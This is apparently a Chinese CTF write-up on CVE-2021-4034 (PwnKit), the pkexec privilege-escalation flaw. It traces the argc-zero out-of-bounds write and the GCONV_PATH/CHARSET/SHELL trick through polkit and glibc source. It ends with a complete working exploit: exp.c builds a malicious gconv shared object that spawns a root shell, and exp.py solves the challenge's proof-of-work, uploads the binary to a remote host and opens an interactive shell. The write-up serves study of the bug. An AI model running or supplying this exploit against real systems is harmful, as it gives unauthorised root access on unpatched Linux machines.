CVE-2021-4034 Polkit-Pkexec

前几天做Realworld体验赛的时候有一题Be-a-PK-LPE-Master,考查了对CVE-2021-4034的利用。当时是直接非预期的所以没有深究。

现在用预期解来复现一下,顺便借此环境分析一下CVE-2021-4034

分析

CVE-2021-4034是存在于Polkit中的pkexec的提权漏洞,影响到的linux版本不计其数。

pkexec是一个拥有suid权限的程序,可以被利用来执行root权限的命令。(web手应该都很熟悉suid提权)

但是glibc会在特权程序执行的时候清除敏感环境变量,以此来保证系统的安全性

void
_dl_non_dynamic_init (void)
{
  ......
      
  if (__libc_enable_secure)  //判断特权模式
    {
      static const char unsecure_envvars[] =
	UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
	EXTRA_UNSECURE_ENVVARS
#endif
	;
      const char *cp = unsecure_envvars;

      while (cp < unsecure_envvars + sizeof (unsecure_envvars))  //在此全部清空
	{
	  __unsetenv (cp);
	  cp = (const char *) __rawmemchr (cp, '\0') + 1;
	}

#if !HAVE_TUNABLES
      if (__access ("/etc/suid-debug", F_OK) != 0)
	__unsetenv ("MALLOC_CHECK_");
#endif
    }
    ......
        
}

unsecure_envvars的定义如下:

#if !HAVE_TUNABLES
# define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#else
# define GLIBC_TUNABLES_ENVVAR
#endif

/* Environment variable to be removed for SUID programs.  The names are
   all stuffed in a single string which means they have to be terminated
   with a '\0' explicitly.  */
#define UNSECURE_ENVVARS \
  "GCONV_PATH\0"							      \
  "GETCONF_DIR\0"							      \
  GLIBC_TUNABLES_ENVVAR							      \
  "HOSTALIASES\0"							      \
  "LD_AUDIT\0"								      \
  "LD_DEBUG\0"								      \
  "LD_DEBUG_OUTPUT\0"							      \
  "LD_DYNAMIC_WEAK\0"							      \
  "LD_HWCAP_MASK\0"							      \
  "LD_LIBRARY_PATH\0"							      \
  "LD_ORIGIN_PATH\0"							      \
  "LD_PRELOAD\0"							      \
  "LD_PROFILE\0"							      \
  "LD_SHOW_AUXV\0"							      \
  "LD_USE_LOAD_BIAS\0"							      \
  "LOCALDOMAIN\0"							      \
  "LOCPATH\0"								      \
  "MALLOC_TRACE\0"							      \
  "NIS_PATH\0"								      \
  "NLSPATH\0"								      \
  "RESOLV_HOST_CONF\0"							      \
  "RES_OPTIONS\0"							      \
  "TMPDIR\0"								      \
  "TZDIR\0"

所以是没法直接使用特权程序来做一些比较危险的操作的。

但是在pkexec的主函数中,有以下代码

for (n = 1; n < (guint) argc; n++)
    {
      ......
    }
......
    
  if (path[0] != '/')
    {
      /* g_find_program_in_path() is not suspectible to attacks via the environment */
      s = g_find_program_in_path (path);
      if (s == NULL)
        {
          g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
          goto out;
        }
      g_free (path);
      argv[n] = path = s;
    }
......

他在处理参数的时候,下标n从1开始遍历的,并在后续代码中使用了argv[n] = path = s来赋值。

那么假如我们的argc为0呢,这一句就会变成argv[1] = path = s,这是明显存在越界的。

而且,argv和前面提到的环境变量,也就是envp的数组在内存中恰好又是连续的

所以说,这个漏洞使得危险环境变量可以被重新注入。

但是继续阅读源码就会发现,在环境变量注入不久之后,程序对环境变量进行了完全清除。

if (clearenv () != 0)
    {
      g_printerr ("Error clearing environment: %s\n", g_strerror (errno));
      goto out;
    }

因此,利用手段变得富有挑战性了起来。

利用

让argc为0

通常情况下,argc其实最少都是1的,因为argv[0]指向程序本身。

但如果使用execve来调用程序,并对argv传NULL,argc就会变为0(也许对此情况的疏忽就恰是本漏洞的成因)

劫持环境变量

再来回顾一下漏洞点的代码

path = g_strdup (argv[n]);  //存在越界读,读出envp[0]
......
    
  if (path[0] != '/')
    {
      s = g_find_program_in_path (path);  //找到envp[0]的绝对路径
	......
        
      argv[n] = path = s;  //存在越界写,将envp[0]修改为其绝对路径
    }

能够劫持g_find_program_in_path (path)的返回值的话,就能注入一个任意环境变量到argv[1] (即envp[0])。

所以,如果让envp符合

char * const environ[] = {"exp.so", "PATH=LD_PRELOAD=.", NULL};

并且提前部署好一个名为LD_PRELOAD=.这个文件夹,且在LD_PRELOAD=.目录下存在exp.so这样一个文件,本目录下再有一个恶意的exp.so,就能成功达成对恶意环境变量的注入。(把LD_PRELOAD换成unsecure_envvars中的任意一个都行,具体过程根据利用思路稍作调整)

利用g_printerr来getshell

有了注入危险环境变量的能力,结合源代码分析getshell思路就不是一件难事了。

重点放在注入环境变量之后,环境变量被重新清除之前,

if (access (path, F_OK) != 0)
    {
      g_printerr ("Error accessing %s: %s\n", path, g_strerror (errno));
      goto out;
    }
  command_line = g_strjoinv (" ", argv + n);
  exec_argv = argv + n;

  rc = getpwnam_r (opt_user, &pwstruct, pwbuf, sizeof pwbuf, &pw);
  if (rc == 0 && pw == NULL)
    {
      g_printerr ("User `%s' does not exist.\n", opt_user);
      goto out;
    }
  else if (pw == NULL)
    {
      g_printerr ("Error getting information for user `%s': %s\n", opt_user, g_strerror (rc));
      goto out;
    }
for (n = 0; environment_variables_to_save[n] != NULL; n++)
    {
      const gchar *key = environment_variables_to_save[n];
      const gchar *value;

      value = g_getenv (key);
      if (value == NULL)
        continue;

      if (!validate_environment_variable (key, value))
        goto out;

      g_ptr_array_add (saved_env, g_strdup (key));
      g_ptr_array_add (saved_env, g_strdup (value));
    }

这里我们选择的攻击对象就是g_printerr,他的作用和printf很像,但是当环境变量存在CHARSET(这个环境变量并没有被认为是不安全的),且值不为UTF-8时,他就会调用glibc中的函数iconv_open来尝试从gconv-modules中读取相应的so文件来转换字符集。

并且这个gconv-modules的路径是由GCONV_PATH这个环境变量指定的,结合此前的环境变量注入,只需要再构造一个恶意so来让g_printerr调用即可getshell。

gconv-modules解析的格式是一个三元组:

module UTF-8// EXP// exp 2

(从UTF-8转换为EXP需要调用exp.so中的gconv_init)

如何触发g_printerr呢?其实也很简单。

validate_environment_variable函数中,

static gboolean
validate_environment_variable (const gchar *key,
                               const gchar *value)
{
    if (g_strcmp0 (key, "SHELL") == 0)
    {
      /* check if it's in /etc/shells */
      if (!is_valid_shell (value))
        {
          log_message (LOG_CRIT, TRUE,
                       "The value for the SHELL variable was not found the /etc/shells file");
          g_printerr ("\n"
                      "This incident has been reported.\n");
          goto out;
        }
    }
    ......
        
}

如果有SHELL这个环境变量,且他的value并不在/etc/shells中时,就会调用log_messageg_printerr

(这里给出/etc/shells的内容)

# /etc/shells: valid login shells
/bin/sh
/bin/bash
/usr/bin/bash
/bin/rbash
/usr/bin/rbash
/bin/dash
/usr/bin/dash
/usr/bin/tmux
/bin/zsh
/usr/bin/zsh

综合利用

下面以今年RealworldCTF体验赛的这道Be-a-PK-LPE-Master为例,复现一遍此漏洞的利用过程。

首先在本地做好准备,写好exp.c

然后nc连上远程主机,拿到普通用户的shell之前需要先处理一个PoW挖矿的问题(爆破5bytes字符来构造一个存在26bits前缀0的sha256的hash)。这一步直接利用pwntools中的mbruteforce模块即可。

登录的时候使用user空口令登录,然后将编译好的exp传到靶机上。

成功提权

1673665037592.png

exp.c

#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>

char code[] =
	"#include<unistd.h>\n"
	"#include<stdio.h>\n"
	"#include<stdlib.h>\n"
	"void gconv() {}\n"
	"void gconv_init(){\n"
	"  setuid(0); setgid(0);\n"
	"  seteuid(0); setegid(0);\n"
	"  char * const args[] = { \"/bin/sh\", NULL };\n"
	"  char * const environ[] = { \"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL };\n"
	"  execve(args[0], args, environ);\n"
	"  exit(0);\n"
	"}\n";

int main(){
	system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'");
	system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
	system("chmod a+x 'GCONV_PATH=./pwnkit'");

	FILE *fp = fopen("pwnkit/pwnkit.c", "w");
	fprintf(fp, "%s", code);
	fclose(fp);
	system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");

	char *args[] = {NULL};
	char *env[] = {"pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=/ko/to/ri", NULL};
	execve("/usr/bin/pkexec", args, env);
	return 0;
}

exp.py

from hashlib import sha256
import sys
import os
from pwn import *
from pwnlib.util.iters import mbruteforce
import string

context.log_level='debug'

USR = 'user'
PW  = ''

sla = lambda x,y : p.sendlineafter(x,y)
sa =  lambda x,y : p.sendafter(x,y)
ru =  lambda x   : p.recvuntil(x)

p = remote('47.98.99.193', 6666)

prefixes = str(ru(b'"+')[-7:-2])[2:-1]
print(prefixes)

# raw_input()

def brute(cur):

    content = prefixes + str(cur)
    s = sha256(content.encode())
    if s.hexdigest().startswith("000000") and int(s.hexdigest()[6:8], 16) < 0x40:
        return True

    return False

def send_cmd(cmd):
	sla('$ ', cmd)

def upload():
	lg = log.progress('Upload')
	with open('exp', 'rb') as f:
		data = f.read()
	encoded = base64.b64encode(data)
	encoded = str(encoded)[2:-1]
	for i in range(0, len(encoded), 300):
		lg.status('%d / %d' % (i, len(encoded)))
		send_cmd('echo -n "%s" >> benc' % (encoded[i:i+300]))
	send_cmd('cat benc | base64 -d > bout')
	send_cmd('chmod +x bout')
	lg.success()

def login(username, passwd):
	sla('login: ', username)
	# sla('Password: ', passwd)


res = mbruteforce(brute, string.ascii_lowercase + string.digits, method = 'upto', length=6,  threads = 20)
print(res)

sla('zero:', res)

login(USR, PW)

os.system('musl-gcc -w -s -static -o3 exp.c -o exp')
upload()

p.interactive()